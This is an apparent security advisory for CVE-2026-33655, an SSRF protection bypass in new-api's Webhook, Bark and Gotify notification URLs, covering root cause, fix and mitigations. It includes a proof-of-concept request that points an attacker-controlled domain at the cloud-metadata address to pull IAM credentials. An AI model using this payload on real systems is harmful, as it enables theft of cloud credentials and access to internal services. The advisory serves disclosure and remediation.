CVE-2026-33655: new-api SSRF Protection Bypass via Unresolved Hostname
Authenticated users of new-api could point Webhook, Bark, or Gotify notification URLs at a hostname that resolves to an internal or cloud-metadata IP address, causing the server to make requests to in
The problem
The `FetchSetting` struct shipped with `ApplyIPFilterForDomain: false` as its default. URL validation for notification endpoints (Webhook, Bark, Gotify) applied domain allow/block rules but skipped IP-range checks when the destination was a hostname rather than a bare IP literal.
Any authenticated user could register a notification URL whose hostname resolved to a private or link-local address (RFC 1918, `169.254.169.254`, `::1`, etc.). The server would fetch that URL at notification time, effectively turning the instance into an SSRF proxy reachable by low-privilege accounts.
Proof of concept
A working proof-of-concept for CVE-2026-33655 in github.com/QuantumNous/new-api, with the exact payload below.
# 1. Point an attacker-controlled domain at an internal target, e.g.:
# ssrf.attacker.com A 169.254.169.254
# 2. Authenticate as any regular user, then set a Webhook notification URL:
PATCH /api/user/setting
Content-Type: application/json
Authorization: Bearer <user_token>
{
"webhook_url": "http://ssrf.attacker.com/latest/meta-data/iam/security-credentials/"
}
# 3. Trigger a notification event (e.g. quota alert) or call the test endpoint.
# The server resolves ssrf.attacker.com -> 169.254.169.254 and sends the request,
# returning cloud-metadata credentials in timing/error side-channels.Root cause is a missing DNS-resolution step before IP filtering (CWE-918). `ValidateURLWithFetchSetting` in `common/ssrf_protection.go` accepted a hostname, checked it against the domain list, and returned without ever resolving the name and re-checking the resulting IP against the IP filter.
The `ApplyIPFilterForDomain` flag controlled whether that resolution step ran, and it defaulted to `false`.
The fix in commit `20399d3c` changes the default of `ApplyIPFilterForDomain` to `true` in `fetch_setting.go`, so every hostname destination is now resolved and its IP is validated against the configured IP filter rules before the request is allowed.
The fix
Upgrade to `v0.12.0-alpha.1` or any later release. The patch sets `ApplyIPFilterForDomain: true` as the new default in `setting/system_setting/fetch_setting.go`.
If an immediate upgrade is not possible: explicitly set `ApplyIPFilterForDomain` to `true` in your system settings, restrict notification URL domains to a strict allowlist, disable user-configurable notification URLs where not needed, and add outbound network egress rules at the host or network layer to block access to RFC 1918 and link-local ranges.
Related research
- high · 7.5CVE-2026-50151CVE-2026-50151: oras-go Credential Leak via Unvalidated Location Header in Blob Upload
- high · 7.7CVE-2026-55431CVE-2026-55431: Coder CLI Session Token Exfiltration via External App URLs
- high · 7.4CVE-2026-55076CVE-2026-55076: Coder OIDC email_verified Type Coercion Authentication Bypass
- high · 7.4CVE-2026-55075CVE-2026-55075: Coder OIDC Account Takeover via Email Fallback and email_verified Bypass